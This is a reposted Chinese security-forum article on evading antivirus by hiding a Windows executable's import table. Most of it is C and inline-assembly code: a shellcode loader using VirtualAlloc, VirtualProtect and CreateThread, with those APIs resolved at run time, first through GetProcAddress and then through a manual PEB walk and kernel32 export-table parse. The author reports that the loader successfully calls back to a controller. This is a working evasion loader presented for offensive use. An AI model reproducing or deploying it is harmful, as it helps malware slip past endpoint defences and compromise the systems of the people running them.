本文转自先知社区:https://xz.aliyun.com/t/12035
作者:刘*x
前言
在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。
编译一个MessageBox文件,查看其导入表:
#include<stdio.h>
#include<Windows.h>
int main()
{
printf("hello worldn");
MessageBox(0, TEXT("hello world"), 0, 0);
return 0;
}
可以看到使用了MessageBox这个API
杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。
自定义API函数
FARPROC GetProcAddress(
[in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄
[in] LPCSTR lpProcName 函数或变量名称
);
定义:
typedef int (FAR WINAPI *FARPROC)();
HMODULE GetModuleHandleA(
LPCSTR lpModuleName // 模块名称
); // 成功返回句柄 失败返回NULL
HMODULE LoadLibraryA(
LPCSTR lpLibFileName // 一个dll文件
); // 成功返回句柄 失败返回NULL
这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。
通过以上函数自定义API。
#include<stdio.h>
#include<Windows.h>
typedef int(WINAPI * pMessageBox) (
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);
int main()
{
printf("hello worldn");
pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA");
MyMessageBox(0, TEXT("hello world"), 0, 0);
return 0;
}
程序可以正常运行:
查看其导入表:
User32.dll和MessageBox都不存在。
实战测试
用创建进程的方式加载shellcode。
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
我们将这里敏感的API进行自定义:
//VirtualProtect
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");
//CreateThread
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
//VirtualAlloc
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
最终代码:
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
//自定义API
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
可以成功上线:
查看导入表:
可以看到,自定义的三个API已经看不到了,但是GetProcAddress和GetModuleHandle也可能会作为杀软识别的对象。
深入隐藏
通过手动获取dll文件的方式,获取这两个函数的地址。
大致流程:
-
找到kernel32.dll的地址
-
遍历啊kernel32.dll的导入表,找到GetProcAddress的地址
-
使用GetProcAddress获取LoadLibrary函数的地址
-
然后使用 LoadLibrary加载DLL文件
-
使用 GetProcAddress查找某个函数的地址
### 获取kernel32.dll的地址
这里使用汇编获取,先贴代码。
DWORD GetKernel32Address() {
DWORD dwKernel32Addr = 0;
_asm {
mov eax, fs: [0x30]
mov eax, [eax + 0x0c]
mov eax, [eax + 0x14]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]
mov dwKernel32Addr, eax
}
return dwKernel32Addr;
}
1.这里有两个关键的结构,TEB(线程环境块)和PEB(进程环境块)。PEB结构存储着整个进程的信息。而PEB结构又存放在TEB中。
这两个结构指针都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。
接下来再分析上面代码的具体过程:
mov eax, fs: [0x30]
指向PEB结构
mov eax,
0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构
mov eax, [eax + 0x14]
指向LDR指针中的InMemoryOrderModuleList链表
这里面有三个链表,这三个列表中的模块是一样的,只是顺序不同。
mov eax,
mov eax,
因为kernel32的位置是第三个,第一个是InMemoryOrderModuleList本身,向下两次,就找到了kernel32(这块还不是很理解)。
最后就是获取kernel32的基址:
mov eax, [eax + 0x10]
InMemoryOrderModuleList 再偏移0x10,指向dllbase
### 获取GetProcAddress
不做叙述,有兴趣的可以自行学习,代码如下:
DWORD RGetProcAddress() {
//获取kernel32的地址
DWORD dwAddrBase = GetKernel32Address();
//获取Dos头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
//获取Nt头 Nt头=dll基址+Dos头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
//数据目录表 扩展头 数据目录表 + 导出表 定位导出表
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT;
//导出表
//导出表地址
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
//函数总数
DWORD dwFunCount = pExport->NumberOfFunctions;
//函数名称数量
DWORD dwFunNameCount = pExport->NumberOfNames;
//函数地址
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
//函数名称地址
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
//序号表
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);
//遍历函数总数
for (size_t i = 0; i < dwFunCount; i++)
{
//判断函数地址是否存在
if (!pAddrOfFun[i])
{
continue;
}
//通过函数地址遍历函数名称地址,获取想要的函数
DWORD dwFunAddrOffset = pAddrOfFun[i];
for (size_t j = 0; j < dwFunNameCount; j++)
{
if (pAddrOfOrdinals[j] == i)
{
DWORD dwNameOffset = pAddrOfNames[j];
char * pFunName = (char *)(dwAddrBase + dwNameOffset);
if (strcmp(pFunName,"GetProcAddress")==0)
{
return dwFunAddrOffset + dwAddrBase;
}
}
}
}
}
## 完整代码
DWORD GetKernel32Address() {
DWORD dwKernel32Addr = 0;
_asm {
mov eax, fs: [0x30]
mov eax, [eax + 0x0c]
mov eax, [eax + 0x14]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]
mov dwKernel32Addr, eax
}
return dwKernel32Addr;
}
DWORD RGetProcAddress() {
//获取kernel32的地址
DWORD dwAddrBase = GetKernel32Address();
//获取Dos头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
//获取Nt头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
//数据目录表 扩展头 数据目录表 + 导出表 定位导出表
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
//导出表
//导出表地址
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
//函数总数
DWORD dwFunCount = pExport->NumberOfFunctions;
//函数名称数量
DWORD dwFunNameCount = pExport->NumberOfNames;
//函数地址
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
//函数名称地址
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
//序号表
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase);
for (size_t i = 0; i < dwFunCount; i++) {
if (!pAddrOfFun[i]) {
continue;
}
DWORD dwFunAddrOffset = pAddrOfFun[i];
for (size_t j = 0; j < dwFunNameCount; j++) {
if (pAddrOfOrdinals[j] == i) {
DWORD dwNameOffset = pAddrOfNames[j];
char * pFunName = (char *)(dwAddrBase + dwNameOffset);
if (strcmp(pFunName, "GetProcAddress") == 0) {
return dwFunAddrOffset + dwAddrBase;
}
}
}
}
}
//自定义API
//获取kernel32.dll地址
HMODULE hKernel32 = (HMODULE)GetKernel32Address();
//自定义GetProcAddress
typedef FARPROC(WINAPI *pGetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
//动态获取GetProcAddress
pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();
//自定义GetModuleHandle
typedef HMODULE(WINAPI* pGetModuleHandle)(
_In_ LPCSTR lpLibFileName
);
pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");
//自定义VirtualProtect
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");
//自定义CreateThread
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");
//自定义VirtualAlloc
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0;
// shellcode长度
DWORD dwThreadId;
// 线程ID
HANDLE hThread;
// 线程句柄
DWORD dwOldProtect;
// 内存页属性
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
// 一直等待线程执行结束
return 0;
}
成功上线:
查看导入表,敏感API都已隐藏:
## 参考链接
https://xz.aliyun.com/t/10478
https://bbs.kanxue.com/thread-266678.htm
https://www.bilibili.com/video/BV1re4y1j7ih/
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
原文始发于微信公众号(合天网安实验室):通过隐藏导入表的方式规避杀软
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论